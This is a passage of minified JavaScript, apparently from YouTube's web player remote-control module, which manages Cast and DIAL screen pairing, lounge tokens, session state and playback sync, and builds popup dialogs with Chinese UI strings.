g7(a.B,c,{screen_ids:b.join(",")},(0,g.z)(a.QK,a),(0,g.z)(a.PK,a))}},o7=function(a){if(g.zo("deprecate_pair_servlet_enabled"))return iJa(a,[]);
var b=QHa(WHa());b=g.Ke(b,function(c){return!c.uuid});
return iJa(a,b)},q7=function(a,b){YHa(g.Oc(a.screens,OHa));
b&&XHa()},s7=function(a,b){g.O.call(this);
this.I=b;var c=g.pu("yt-remote-online-screen-ids")||"";c=c?c.split(","):[];for(var d={},e=this.I(),f=0,h=e.length;f<h;++f){var l=e[f].id;d[l]=g.jb(c,l)}this.u=d;this.F=a;this.C=this.D=NaN;this.B=null;r7("Initialized with "+g.Lj(this.u))},t7=function(a,b,c){var d=f7(a.F,"/pairing/get_screen_availability");
g7(a.F,d,{lounge_token:b.token},(0,g.z)(function(e){e=e.screens||[];for(var f=0,h=e.length;f<h;++f)if(e[f].loungeToken==b.token){c("online"==e[f].status);return}c(!1)},a),(0,g.z)(function(){c(!1)},a))},u7=function(a,b){a:if(a6(b)!=a6(a.u))var c=!1;
else{c=g.Mb(b);for(var d=0,e=c.length;d<e;++d)if(!a.u[c[d]]){c=!1;break a}c=!0}c||(r7("Updated online screens: "+g.Lj(a.u)),a.u=b,a.V("screenChange"));lJa(a)},v7=function(a){isNaN(a.C)||g.Mo(a.C);
a.C=g.Ko((0,g.z)(a.iA,a),0<a.D&&a.D<g.A()?2E4:1E4)},r7=function(a){i7("OnlineScreenService",a)},mJa=function(a){var b={};
g.Cb(a.I(),function(c){c.token?b[c.token]=c.id:this.Ad("Requesting availability of screen w/o lounge token.")});
return b},lJa=function(a){a=g.Mb(g.Fb(a.u,function(b){return b}));
g.zb(a);a.length?g.ou("yt-remote-online-screen-ids",a.join(","),60):g.qu("yt-remote-online-screen-ids")},w7=function(a){m7.call(this,"ScreenService");
this.F=a;this.u=this.B=null;this.C=[];this.D={};nJa(this)},pJa=function(a,b,c,d,e,f){a.info("getAutomaticScreenByIds "+c+" / "+b);
c||(c=a.D[b]);var h=a.sg();if(h=(c?k6(h,c):null)||k6(h,b)){h.uuid=b;var l=x7(a,h);t7(a.u,l,function(m){e(m?l:null)})}else c?oJa(a,c,(0,g.z)(function(m){var n=x7(this,new e6({name:d,
screenId:c,loungeToken:m,dialId:b||""}));t7(this.u,n,function(p){e(p?n:null)})},a),f):e(null)},qJa=function(a,b){for(var c=0,d=a.screens.length;c<d;++c)if(a.screens[c].name==b)return a.screens[c];
return null},rJa=function(a,b,c){t7(a.u,b,c)},oJa=function(a,b,c,d){a.info("requestLoungeToken_ for "+b);
var e={qc:{screen_ids:b},method:"POST",context:a,onSuccess:function(f,h){var l=h&&h.screens||[];l[0]&&l[0].screenId==b?c(l[0].loungeToken):d(Error("Missing lounge token in token response"))},
onError:function(){d(Error("Request screen lounge token failed"))}};
g.uq(f7(a.F,"/pairing/get_lounge_token_batch"),e)},sJa=function(a){a.screens=a.B.sg();
var b=a.D,c={},d;for(d in b)c[b[d]]=d;b=0;for(d=a.screens.length;b<d;++b){var e=a.screens[b];e.uuid=c[e.id]||""}a.info("Updated manual screens: "+h6(a.screens))},nJa=function(a){y7(a);
a.B=new p7(a.F);a.B.subscribe("screenChange",(0,g.z)(a.WK,a));sJa(a);a.C=QHa(g.pu("yt-remote-automatic-screen-cache")||[]);y7(a);a.info("Initializing automatic screens: "+h6(a.C));a.u=new s7(a.F,(0,g.z)(a.sg,a,!0));a.u.subscribe("screenChange",(0,g.z)(function(){this.V("onlineScreenChange")},a))},x7=function(a,b){var c=a.get(b.id);
c?(c.uuid=b.uuid,b=c):((c=k6(a.C,b.uuid))?(c.id=b.id,c.token=b.token,b=c):a.C.push(b),g.ou("yt-remote-automatic-screen-cache",g.Oc(a.C,OHa)));y7(a);a.D[b.uuid]=b.id;g.ou("yt-remote-device-id-map",a.D,31536E3);return b},y7=function(a){a.D=g.pu("yt-remote-device-id-map")||{}},z7=function(a,b,c){g.O.call(this);
this.ba=c;this.D=a;this.u=b;this.P=null},A7=function(a,b){a.P=b;
a.V("sessionScreen",a.P)},B7=function(a,b){i7(a.ba,b)},C7=function(a,b,c){z7.call(this,a,b,"CastSession");
var d=this;this.X=c;this.B=null;this.S=(0,g.z)(this.aT,this);this.K=(0,g.z)(this.yR,this);this.I=g.Ko(function(){tJa(d,null)},12E4);
this.C=this.F=0},uJa=function(a){a.info("sendYoutubeMessage_: getMdxSessionStatus "+g.Lj(void 0));
var b={type:"getMdxSessionStatus"};a.B?a.B.sendMessage("urn:x-cast:com.google.youtube.mdx",b,g.Ka,(0,g.z)(function(){B7(this,"Failed to send message: getMdxSessionStatus.")},a)):B7(a,"Sending yt message without session: "+g.Lj(b))},D7=function(a,b){b?(a.info("onConnectedScreenId_: Received screenId: "+b),a.getScreen()&&a.getScreen().id==b||a.rD(b,function(c){A7(a,c)},function(){return a.Mf()},5)):a.Mf(Error("Waiting for session status timed out."))},wJa=function(a,b){a.info("onConnectedScreenData_: Received screenData: "+
JSON.stringify(b));
var c=new e6(b);vJa(a,c,function(d){d?(x7(a.D,c),A7(a,c)):(g.M(Error("RemoteScreen from screenData: "+JSON.stringify(b)+" is not online.")),a.Mf())},5)},tJa=function(a,b){g.Mo(a.I);
a.I=0;b?a.X.i5&&b.loungeToken?b.deviceId?a.getScreen()&&a.getScreen().uuid==b.deviceId||(b.loungeTokenRefreshIntervalMs?wJa(a,{name:a.u.friendlyName,screenId:b.screenId,loungeToken:b.loungeToken,dialId:b.deviceId,screenIdType:"shortLived"}):(g.M(Error("No loungeTokenRefreshIntervalMs presents in mdxSessionStatusData: "+JSON.stringify(b)+".")),D7(a,b.screenId))):(g.M(Error("No device id presents in mdxSessionStatusData: "+JSON.stringify(b)+".")),D7(a,b.screenId)):D7(a,b.screenId):a.Mf(Error("Waiting for session status timed out."))},
vJa=function(a,b,c,d){g.Mo(a.C);
a.C=0;rJa(a.D,b,function(e){e||0>d?c(e):a.C=g.Ko(function(){vJa(a,b,c,d-1)},300)})},xJa=function(a){g.Mo(a.F);
a.F=0;g.Mo(a.C);a.C=0;g.Mo(a.I);a.I=0},E7=function(a,b,c){z7.call(this,a,b,"DialSession");
this.C=this.K=null;this.S="";this.fa=c;this.X=null;this.I=g.Ka;this.F=NaN;this.Y=(0,g.z)(this.dT,this);this.B=g.Ka},yJa=function(a){a.B=a.D.QI(a.S,a.u.label,a.u.friendlyName,(0,g.z)(function(b){this.B=g.Ka;
A7(this,b)},a),(0,g.z)(function(b){this.B=g.Ka;
this.Mf(b)},a))},zJa=function(a){var b={};
b.pairingCode=a.S;b.theme=a.fa;aIa()&&(b.env_useStageMdx=1);return g.Hd(b)},F7=function(a,b){z7.call(this,a,b,"ManualSession");
this.B=g.Ko((0,g.z)(this.no,this,null),150)},G7=function(a,b){g.O.call(this);
this.D=b;this.B=a;this.P=b.appId||"233637DE";this.K=b.theme||"cl";this.S=b.disableCastApi||!1;this.u=null;this.I=!1;this.C=[];this.F=(0,g.z)(this.qQ,this)},AJa=function(a,b){return b?g.fb(a.C,function(c){return f6(b,c.label)},a):null},H7=function(a){i7("Controller",a)},aJa=function(a){window.chrome&&chrome.cast&&chrome.cast.logMessage&&chrome.cast.logMessage(a)},I7=function(a){return a.I||!!a.C.length||!!a.u},J7=function(a,b,c){b!=a.u&&(g.fg(a.u),(a.u=b)?(c?a.V("yt-remote-cast2-receiver-resumed",
b.u):a.V("yt-remote-cast2-receiver-selected",b.u),b.subscribe("sessionScreen",(0,g.z)(a.uG,a,b)),b.getScreen()?a.V("yt-remote-cast2-session-change",b.getScreen()):c&&a.u.no(null)):a.V("yt-remote-cast2-session-change",null))},BJa=function(a){var b=a.B.OI(),c=a.u&&a.u.u;
a=g.Oc(b,function(d){c&&f6(d,c.label)&&(c=null);var e=d.uuid?d.uuid:d.id,f=AJa(this,d);f?(f.label=e,f.friendlyName=d.name):(f=new chrome.cast.Receiver(e,d.name),f.receiverType=chrome.cast.ReceiverType.CUSTOM);return f},a);
c&&(c.receiverType!=chrome.cast.ReceiverType.CUSTOM&&(c=new chrome.cast.Receiver(c.label,c.friendlyName),c.receiverType=chrome.cast.ReceiverType.CUSTOM),a.push(c));return a},HJa=function(a,b,c,d){d.disableCastApi?K7("Cannot initialize because disabled by Mdx config."):CJa()?DJa(b,d)&&(L7(!0),window.chrome&&chrome.cast&&chrome.cast.isAvailable?EJa(a,c):(window.__onGCastApiAvailable=function(e,f){e?EJa(a,c):(M7("Failed to load cast API: "+f),N7(!1),L7(!1),g.qu("yt-remote-cast-available"),g.qu("yt-remote-cast-receiver"),
FJa(),c(!1))},d.loadCastApiSetupScript?g.Wo("https://www.gstatic.com/cv/js/sender/v1/cast_sender.js"):0<=window.navigator.userAgent.indexOf("Android")&&0<=window.navigator.userAgent.indexOf("Chrome/")&&window.navigator.presentation?hIa():!window.chrome||!window.navigator.presentation||0<=window.navigator.userAgent.indexOf("Edge")?s6():(gIa(),r6(GJa.map(eIa))))):K7("Cannot initialize because not running Chrome")},FJa=function(){K7("dispose");
var a=O7();a&&a.dispose();g.Fa("yt.mdx.remote.cloudview.instance_",null,void 0);IJa(!1);g.So(P7);P7.length=0},Q7=function(){return!!g.pu("yt-remote-cast-installed")},JJa=function(){var a=g.pu("yt-remote-cast-receiver");
return a?a.friendlyName:null},KJa=function(){K7("clearCurrentReceiver");
g.qu("yt-remote-cast-receiver")},LJa=function(){return Q7()?O7()?O7().getCastSession():(M7("getCastSelector: Cast is not initialized."),null):(M7("getCastSelector: Cast API is not installed!"),null)},S7=function(){Q7()?O7()?R7()?(K7("Requesting cast selector."),O7().requestSession()):(K7("Wait for cast API to be ready to request the session."),P7.push(g.Ro("yt-remote-cast2-api-ready",S7))):M7("requestCastSelector: Cast is not initialized."):M7("requestCastSelector: Cast API is not installed!")},T7=
function(a,b){R7()?O7().setConnectedScreenStatus(a,b):M7("setConnectedScreenStatus called before ready.")},CJa=function(){var a=0<=g.Vc.search(/ (CrMo|Chrome|CriOS)\//);
return g.BB||a},MJa=function(a,b){O7().init(a,b)},DJa=function(a,b){var c=!1;
O7()||(c=new G7(a,b),c.subscribe("yt-remote-cast2-availability-change",function(d){g.ou("yt-remote-cast-available",d);c6("yt-remote-cast2-availability-change",d)}),c.subscribe("yt-remote-cast2-receiver-selected",function(d){K7("onReceiverSelected: "+d.friendlyName);
g.ou("yt-remote-cast-receiver",d);c6("yt-remote-cast2-receiver-selected",d)}),c.subscribe("yt-remote-cast2-receiver-resumed",function(d){K7("onReceiverResumed: "+d.friendlyName);
g.ou("yt-remote-cast-receiver",d)}),c.subscribe("yt-remote-cast2-session-change",function(d){K7("onSessionChange: "+g6(d));
d||g.qu("yt-remote-cast-receiver");c6("yt-remote-cast2-session-change",d)}),g.Fa("yt.mdx.remote.cloudview.instance_",c,void 0),c=!0);
K7("cloudview.createSingleton_: "+c);return c},O7=function(){return g.Ja("yt.mdx.remote.cloudview.instance_")},EJa=function(a,b){N7(!0);
L7(!1);MJa(a,function(c){c?(IJa(!0),g.To("yt-remote-cast2-api-ready")):(M7("Failed to initialize cast API."),N7(!1),g.qu("yt-remote-cast-available"),g.qu("yt-remote-cast-receiver"),FJa());b(c)})},K7=function(a){i7("cloudview",a)},M7=function(a){i7("cloudview",a)},N7=function(a){K7("setCastInstalled_ "+a);
g.ou("yt-remote-cast-installed",a)},R7=function(){return!!g.Ja("yt.mdx.remote.cloudview.apiReady_")},IJa=function(a){K7("setApiReady_ "+a);
g.Fa("yt.mdx.remote.cloudview.apiReady_",a,void 0)},L7=function(a){g.Fa("yt.mdx.remote.cloudview.initializing_",a,void 0)},U7=function(a){this.index=-1;
this.videoId=this.listId="";this.volume=this.playerState=-1;this.muted=!1;this.audioTrackId=null;this.K=this.P=0;this.u=null;this.hasNext=this.Qi=!1;this.S=this.I=this.B=this.F=0;this.D=NaN;this.C=!1;this.reset(a)},V7=function(a){a.audioTrackId=null;
a.u=null;a.playerState=-1;a.Qi=!1;a.hasNext=!1;a.P=0;a.K=g.A();a.F=0;a.B=0;a.I=0;a.S=0;a.D=NaN;a.C=!1},W7=function(a){return a.Gb()?(g.A()-a.K)/1E3:0},X7=function(a,b){a.P=b;
a.K=g.A()},Y7=function(a){switch(a.playerState){case 1:case 1081:return(g.A()-a.K)/1E3+a.P;
case -1E3:return 0}return a.P},Z7=function(a,b,c){var d=a.videoId;
a.videoId=b;a.index=c;b!=d&&V7(a)},$7=function(a){var b={};
b.index=a.index;b.listId=a.listId;b.videoId=a.videoId;b.playerState=a.playerState;b.volume=a.volume;b.muted=a.muted;b.audioTrackId=a.audioTrackId;b.trackData=g.Wb(a.u);b.hasPrevious=a.Qi;b.hasNext=a.hasNext;b.playerTime=a.P;b.playerTimeAt=a.K;b.seekableStart=a.F;b.seekableEnd=a.B;b.duration=a.I;b.loadedTime=a.S;b.liveIngestionTime=a.D;return b},b8=function(a,b){g.O.call(this);
this.Ka=0;this.C=a;this.F=[];this.D=new WIa;this.B=this.u=null;this.P=(0,g.z)(this.KO,this);this.I=(0,g.z)(this.mr,this);this.K=(0,g.z)(this.JO,this);this.S=(0,g.z)(this.RO,this);var c=0;a?(c=a.getProxyState(),3!=c&&(a.subscribe("proxyStateChange",this.xA,this),NJa(this))):c=3;0!=c&&(b?this.xA(c):g.Ko((0,g.z)(function(){this.xA(c)},this),0));
var d=LJa();d&&a8(this,d);this.subscribe("yt-remote-cast2-session-change",this.S)},c8=function(a){return new U7(a.C.getPlayerContextData())},NJa=function(a){g.Cb("nowAutoplaying autoplayDismissed remotePlayerChange remoteQueueChange autoplayModeChange autoplayUpNext previousNextChange".split(" "),function(b){this.F.push(this.C.subscribe(b,g.Ta(this.mQ,b),this))},a)},OJa=function(a){g.Cb(a.F,function(b){this.C.unsubscribeByKey(b)},a);
a.F.length=0},d8=function(a){return 1==a.getState()},e8=function(a,b){var c=a.D;
50>c.u.length+c.B.length&&a.D.B.push(b)},g8=function(a,b,c){var d=c8(a);
X7(d,c);-1E3!=d.playerState&&(d.playerState=b);f8(a,d)},h8=function(a,b,c){a.C.sendMessage(b,c)},f8=function(a,b){OJa(a);
a.C.setPlayerContextData($7(b));NJa(a)},a8=function(a,b){a.B&&(a.B.removeUpdateListener(a.P),a.B.removeMediaListener(a.I),a.mr(null));
a.B=b;a.B&&(i7("CP","Setting cast session: "+a.B.sessionId),a.B.addUpdateListener(a.P),a.B.addMediaListener(a.I),a.B.media.length&&a.mr(a.B.media[0]))},PJa=function(a){var b=a.u.media,c=a.u.customData;
if(b&&c){var d=c8(a);b.contentId!=d.videoId&&i7("CP","Cast changing video to: "+b.contentId);d.videoId=b.contentId;d.playerState=c.playerState;X7(d,a.u.getEstimatedTime());f8(a,d)}else i7("CP","No cast media video. Ignoring state update.")},i8=function(a,b,c){return(0,g.z)(function(d){this.Ad("Failed to "+b+" with cast v2 channel. Error code: "+d.code);
d.code!=chrome.cast.ErrorCode.TIMEOUT&&(this.Ad("Retrying "+b+" using MDx browser channel."),h8(this,b,c))},a)},j8=function(a,b,c){g.O.call(this);
this.F=NaN;this.Y=!1;this.P=this.K=this.S=this.X=NaN;this.ba=[];this.D=this.I=this.C=this.Kb=this.u=null;this.ha=a;this.ba.push(g.gp(window,"beforeunload",(0,g.z)(this.KK,this)));this.B=[];this.Kb=new U7;this.fa=b.id;this.u=QJa(this,c);this.u.subscribe("handlerOpened",this.OO,this);this.u.subscribe("handlerClosed",this.LO,this);this.u.subscribe("handlerError",this.MO,this);this.u.subscribe("handlerMessage",this.NO,this);$Ia(this.u,b.token);this.subscribe("remoteQueueChange",function(){var d=this.Kb.videoId;
g.ru()&&g.ou("yt-remote-session-video-id",d)},this)},k8=function(a){i7("conn",a)},QJa=function(a,b){return new b7(f7(a.ha,"/bc"),b,!1,function(){return a.MI()})},l8=function(a,b){a.V("proxyStateChange",b)},RJa=function(a){a.F=g.Ko((0,g.z)(function(){k8("Connecting timeout");
this.Pn(1)},a),2E4)},m8=function(a){g.Mo(a.F);
a.F=NaN},n8=function(a){g.Mo(a.X);
a.X=NaN},SJa=function(a){o8(a);
a.S=g.Ko((0,g.z)(function(){p8(this,"getNowPlaying")},a),2E4)},o8=function(a){g.Mo(a.S);
a.S=NaN},UJa=function(a,b){b&&(m8(a),n8(a));
var c=d7(a.u)&&isNaN(a.F);b==c?b&&(l8(a,1),p8(a,"getSubtitlesTrack")):b?(a.qD()&&a.Kb.reset(),l8(a,1),p8(a,"getNowPlaying"),TJa(a)):a.Pn(1)},VJa=function(a,b){var c=b.params.videoId;
delete b.params.videoId;c==a.Kb.videoId&&(g.Sb(b.params)?a.Kb.u=null:a.Kb.u=b.params,a.V("remotePlayerChange"))},WJa=function(a,b){var c=b.params.videoId||b.params.video_id,d=parseInt(b.params.currentIndex,10);
a.Kb.listId=b.params.listId||a.Kb.listId;Z7(a.Kb,c,d);a.V("remoteQueueChange")},YJa=function(a,b){b.params=b.params||{};
WJa(a,b);XJa(a,b);a.V("autoplayDismissed")},XJa=function(a,b){var c=parseInt(b.params.currentTime||b.params.current_time,10);
X7(a.Kb,isNaN(c)?0:c);c=parseInt(b.params.state,10);c=isNaN(c)?-1:c;-1==c&&-1E3==a.Kb.playerState&&(c=-1E3);a.Kb.playerState=c;c=Number(b.params.loadedTime);a.Kb.S=isNaN(c)?0:c;a.Kb.hi(Number(b.params.duration));c=a.Kb;var d=Number(b.params.liveIngestionTime);c.D=d;c.C=isNaN(d)?!1:!0;c=a.Kb;d=Number(b.params.seekableStartTime);var e=Number(b.params.seekableEndTime);c.F=isNaN(d)?0:d;c.B=isNaN(e)?0:e;1==a.Kb.playerState?SJa(a):o8(a);a.V("remotePlayerChange")},ZJa=function(a,b){if(-1E3!=a.Kb.playerState){var c=
1085;
switch(parseInt(b.params.adState,10)){case 1:c=1081;break;case 2:c=1084;break;case 0:c=1083}a.Kb.playerState=c;c=parseInt(b.params.currentTime,10);X7(a.Kb,isNaN(c)?0:c);a.V("remotePlayerChange")}},$Ja=function(a,b){var c="true"==b.params.muted;
a.Kb.volume=parseInt(b.params.volume,10);a.Kb.muted=c;a.V("remotePlayerChange")},aKa=function(a,b){a.I=b.params.videoId;
a.V("nowAutoplaying",parseInt(b.params.timeout,10))},bKa=function(a,b){var c="true"==b.params.hasNext;
a.Kb.Qi="true"==b.params.hasPrevious;a.Kb.hasNext=c;a.V("previousNextChange")},TJa=function(a){g.Mo(a.P);
a.P=g.Ko((0,g.z)(a.Pn,a,1),864E5)},p8=function(a,b,c){c?k8("Sending: action="+b+", params="+g.Lj(c)):k8("Sending: action="+b);
a.u.sendMessage(b,c)},q8=function(a){m7.call(this,"ScreenServiceProxy");
this.wf=a;this.u=[];this.u.push(this.wf.$_s("screenChange",(0,g.z)(this.LL,this)));this.u.push(this.wf.$_s("onlineScreenChange",(0,g.z)(this.TP,this)))},fKa=function(a,b){$Ha();
if(!q6||!q6.get("yt-remote-disable-remote-module-for-dev")){b=g.L("MDX_CONFIG")||b;SHa();o6();r8||(r8=new e7(b?b.loungeApiHost:void 0),aIa()&&(r8.u="/api/loungedev"));s8||(s8=g.Ja("yt.mdx.remote.deferredProxies_")||[],g.Fa("yt.mdx.remote.deferredProxies_",s8,void 0));cKa();var c=t8();if(!c){var d=new w7(r8);g.Fa("yt.mdx.remote.screenService_",d,void 0);c=t8();var e={};b&&(e={appId:b.appId,disableDial:b.disableDial,theme:b.theme,loadCastApiSetupScript:b.loadCastApiSetupScript,disableCastApi:b.disableCastApi,
enableDialLoungeToken:b.enableDialLoungeToken,enableCastLoungeToken:b.enableCastLoungeToken});HJa(a,d,function(h){h?u8()&&T7(u8(),"YouTube TV"):d.subscribe("onlineScreenChange",function(){c6("yt-remote-receiver-availability-change")})},e)}if(b&&!g.Ja("yt.mdx.remote.initialized_")){g.Fa("yt.mdx.remote.initialized_",!0,void 0);
v8("Initializing: "+g.Lj(b));w8.push(g.Ro("yt-remote-cast2-availability-change",function(){c6("yt-remote-receiver-availability-change")}));
w8.push(g.Ro("yt-remote-cast2-receiver-selected",function(){x8(null);c6("yt-remote-auto-connect","cast-selector-receiver")}));
w8.push(g.Ro("yt-remote-cast2-receiver-resumed",function(){c6("yt-remote-receiver-resumed","cast-selector-receiver")}));
w8.push(g.Ro("yt-remote-cast2-session-change",dKa));w8.push(g.Ro("yt-remote-connection-change",function(h){h?T7(u8(),"YouTube TV"):y8()||(T7(null,null),KJa())}));
e=z8();b.isAuto&&(e.id+="#dial");g.zo("desktop_enable_autoplay")&&(e.capabilities=["atp"]);e.name=b.device;e.app=b.app;var f=b.theme;f&&(e.theme=f);v8(" -- with channel params: "+g.Lj(e));e?(g.ou("yt-remote-session-app",e.app),g.ou("yt-remote-session-name",e.name)):(g.qu("yt-remote-session-app"),g.qu("yt-remote-session-name"));g.Fa("yt.mdx.remote.channelParams_",e,void 0);c.start();u8()||eKa()}}},gKa=function(){var a=t8().wf.$_gos();
var b=A8();b&&B8()&&(j6(a,b)||a.push(b));return RHa(a)},C8=function(){var a=hKa();
!a&&Q7()&&JJa()&&(a={key:"cast-selector-receiver",name:JJa()});return a},hKa=function(){var a=gKa(),b=A8();
b||(b=y8());return g.fb(a,function(c){return b&&f6(b,c.key)?!0:!1})},A8=function(){var a=u8();
if(!a)return null;var b=t8().sg();return k6(b,a)},dKa=function(a){v8("remote.onCastSessionChange_: "+g6(a));
if(a){var b=A8();b&&b.id==a.id?T7(b.id,"YouTube TV"):(b&&D8(),E8(a,1))}else B8()&&D8()},D8=function(){R7()?O7().stopSession():M7("stopSession called before API ready.");
var a=B8();a&&(a.disconnect(1),F8(null))},G8=function(){var a=B8();
return!!a&&3!=a.getProxyState()},v8=function(a){i7("remote",a)},t8=function(){if(!H8){var a=g.Ja("yt.mdx.remote.screenService_");
H8=a?new q8(a):null}return H8},u8=function(){return g.Ja("yt.mdx.remote.currentScreenId_")},iKa=function(a){g.Fa("yt.mdx.remote.currentScreenId_",a,void 0)},jKa=function(){return g.Ja("yt.mdx.remote.connectData_")},x8=function(a){g.Fa("yt.mdx.remote.connectData_",a,void 0)},B8=function(){return g.Ja("yt.mdx.remote.connection_")},F8=function(a){var b=B8();
x8(null);a||iKa("");g.Fa("yt.mdx.remote.connection_",a,void 0);s8&&(g.Cb(s8,function(c){c(a)}),s8.length=0);
b&&!a?c6("yt-remote-connection-change",!1):!b&&a&&c6("yt-remote-connection-change",!0)},y8=function(){var a=g.ru();
if(!a)return null;var b=t8();if(!b)return null;b=b.sg();return k6(b,a)},E8=function(a,b){u8();
A8()&&A8();if(I8)J8=a;else{iKa(a.id);var c=new j8(r8,a,z8());c.connect(b,jKa());c.subscribe("beforeDisconnect",function(d){c6("yt-remote-before-disconnect",d)});
c.subscribe("beforeDispose",function(){B8()&&(B8(),F8(null))});
F8(c)}},eKa=function(){var a=y8();
a?(v8("Resume connection to: "+g6(a)),E8(a,0)):(p6(),KJa(),v8("Skipping connecting because no session screen found."))},cKa=function(){var a=z8();
if(g.Sb(a)){a=n6();var b=g.pu("yt-remote-session-name")||"",c=g.pu("yt-remote-session-app")||"";a={device:"REMOTE_CONTROL",id:a,name:b,app:c,mdxVersion:3};g.Fa("yt.mdx.remote.channelParams_",a,void 0)}},z8=function(){return g.Ja("yt.mdx.remote.channelParams_")||{}},K8=function(a,b,c){g.B.call(this);
var d=this;this.B=a;this.J=b;this.yb=c;this.events=new g.oR(this);this.X=this.events.N(this.J,"onVolumeChange",function(e){kKa(d,e)});
this.F=!1;this.suggestion=null;this.I=new g.HM(64);this.u=new g.F(this.QH,500,this);this.C=new g.F(this.RH,1E3,this);this.P=new t6(this.LS,0,this);this.D={};this.S=new g.F(this.wI,1E3,this);this.K=new u6(this.seekTo,1E3,this);this.Y=g.Ka;g.D(this,this.events);this.events.N(b,"onCaptionsTrackListChanged",this.xP);this.events.N(b,"captionschanged",this.HO);this.events.N(b,"captionssettingschanged",this.WH);this.events.N(b,"videoplayerreset",this.Bv);this.events.N(b,"mdxautoplaycancel",function(){d.yb.KC()});
a=this.yb;a.na();a.subscribe("proxyStateChange",this.pG,this);a.subscribe("remotePlayerChange",this.ur,this);a.subscribe("remoteQueueChange",this.Bv,this);a.subscribe("previousNextChange",this.mG,this);a.subscribe("nowAutoplaying",this.hG,this);a.subscribe("autoplayDismissed",this.IF,this);g.D(this,this.u);g.D(this,this.C);g.D(this,this.P);g.D(this,this.S);g.D(this,this.K);this.WH();this.Bv();this.ur()},kKa=function(a,b){if(L8(a)){a.yb.unsubscribe("remotePlayerChange",a.ur,a);
var c=Math.round(b.volume),d=!!b.muted,e=c8(a.yb);if(c!==e.volume||d!==e.muted)a.yb.setVolume(c,d),a.S.start();a.yb.subscribe("remotePlayerChange",a.ur,a)}},lKa=function(a){a.pc(0);
a.u.stop();a.ub(new g.HM(64))},M8=function(a,b){if(L8(a)&&!a.F){var c=null;
b&&(c={style:a.J.getSubtitlesUserSettings()},g.Yb(c,b));a.yb.NI(a.J.getVideoData(1).videoId,c);a.D=c8(a.yb).u}},N8=function(a,b){var c=a.J.getPlaylist();
if(c){var d=c.index;var e=c.listId.toString()}c=a.J.getVideoData(1);a.yb.playVideo(c.videoId,b,d,e,c.playerParams,c.Ug,EHa(c));a.ub(new g.HM(1))},mKa=function(a,b){if(b){var c=a.J.getOption("captions","tracklist",{QD:1});
c&&c.length?(a.J.setOption("captions","track",b),a.F=!1):(a.J.loadModule("captions"),a.F=!0)}else a.J.setOption("captions","track",{})},L8=function(a){return c8(a.yb).videoId===a.J.getVideoData(1).videoId},O8=function(){g.V.call(this,{G:"div",
L:"ytp-mdx-manual-pairing-popup-dialog",U:{role:"dialog"},R:[{G:"div",L:"ytp-mdx-manual-pairing-popup-dialog-inner-content",R:[{G:"div",L:"ytp-mdx-manual-pairing-popup-title",Z:"\u4f7f\u7528\u914d\u5bf9\u7801\u5728\u7f51\u9875\u4e0a\u5173\u8054\u60a8\u7684\u7535\u89c6\u7684\u529f\u80fd\u5373\u5c06\u505c\u7528"},{G:"div",L:"ytp-mdx-manual-pairing-popup-buttons",R:[{G:"button",la:["ytp-button","ytp-mdx-manual-pairing-popup-learn-more"],Z:"\u4e86\u89e3\u8be6\u60c5"},{G:"button",la:["ytp-button","ytp-mdx-manual-pairing-popup-ok"],
Z:"\u786e\u5b9a"}]}]}]});this.u=new g.jO(this,250);this.learnMoreButton=this.ia("ytp-mdx-manual-pairing-popup-learn-more");this.okButton=this.ia("ytp-mdx-manual-pairing-popup-ok");g.D(this,this.u);this.N(this.learnMoreButton,"click",this.B);this.N(this.okButton,"click",this.C)},P8=function(){g.V.call(this,{G:"div",
L:"ytp-mdx-popup-dialog",U:{role:"dialog"},R:[{G:"div",L:"ytp-mdx-popup-dialog-inner-content",R:[{G:"div",L:"ytp-mdx-popup-title",Z:"\u60a8\u5df2\u9000\u51fa\u5e10\u53f7"},{G:"div",L:"ytp-mdx-popup-description",Z:"\u60a8\u89c2\u770b\u7684\u89c6\u9891\u53ef\u80fd\u4f1a\u6dfb\u52a0\u5230\u7535\u89c6\u7684\u89c2\u770b\u8bb0\u5f55\u4e2d\uff0c\u5e76\u5f71\u54cd\u7535\u89c6\u4e0a\u7684\u63a8\u8350\u5185\u5bb9\u3002\u4e3a\u907f\u514d\u53d1\u751f\u8fd9\u79cd\u60c5\u51b5\uff0c\u8bf7\u53d6\u6d88\u5e76\u5728\u8ba1\u7b97\u673a\u4e0a\u767b\u5f55 YouTube\u3002"},
{G:"div",L:"ytp-mdx-privacy-popup-buttons",R:[{G:"button",la:["ytp-button","ytp-mdx-privacy-popup-cancel"],Z:"\u53d6\u6d88"},{G:"button",la:["ytp-button","ytp-mdx-privacy-popup-confirm"],Z:"\u786e\u8ba4"}]}]}]});this.u=new g.jO(this,250);this.cancelButton=this.ia("ytp-mdx-privacy-popup-cancel");this.confirmButton=this.ia("ytp-mdx-privacy-popup-confirm");g.D(this,this.u);this.N(this.cancelButton,"click",this.B);this.N(this.confirmButton,"click",this.C)},Q8=function(a){g.V.call(this,{G:"div",
L:"ytp-remote",R:[{G:"div",L:"ytp-remote-display-status",R:[{G:"div",L:"ytp-remote-display-status-icon",R:[g.ioa()]},{G:"div",L:"ytp-remote-display-status-text",Z:"{{statustext}}"}]}]});this.api=a;this.u=new g.jO(this,250);g.D(this,this.u);this.N(a,"presentingplayerstatechange",this.B);nKa(this,g.LK(a))},nKa=function(a,b){if(3===a.api.getPresentingPlayerType()){var c={RECEIVER_NAME:a.api.getOption("remote","currentReceiver").name};
c=g.U(b,128)?g.KL("\u5728$RECEIVER_NAME\u4e0a\u51fa\u73b0\u9519\u8bef",c):b.Gb()||g.U(b,4)?g.KL("\u6b63\u5728$RECEIVER_NAME\u4e0a\u64ad\u653e",c):g.KL("\u5df2\u8fde\u63a5\u5230$RECEIVER_NAME",c);a.za("statustext",c);a.u.show()}else a.u.hide()},R8=function(a,b){g.vX.call(this,"\u64ad\u653e\u8bbe\u5907",0,a,b);
this.J=a;this.Dl={};this.N(a,"onMdxReceiversChange",this.D);this.N(a,"presentingplayerstatechange",this.D);this.D()},S8=function(a){g.FS.call(this,a);
this.Qh={key:i6(),name:"\u6b64\u8ba1\u7b97\u673a"};this.Kg=null;this.subscriptions=[];this.Tz=this.yb=null;this.Dl=[this.Qh];this.Hk=this.Qh;this.Lc=new g.HM(64);this.oE=0;this.Fe=-1;this.po=null;this.xr=this.Fu=!1;this.Um=this.Ro=null;if(!g.KD(this.player.T())){a=this.player;var b=g.yT(a);b&&(b=b.Pk())&&(b=new R8(a,b),g.D(this,b));b=new Q8(a);g.D(this,b);g.xP(a,b.element,4);this.Ro=new P8;g.D(this,this.Ro);g.xP(a,this.Ro.element,4);g.Q(this.player.T().experiments,"pair_servlet_deprecation_warning_enabled")&&
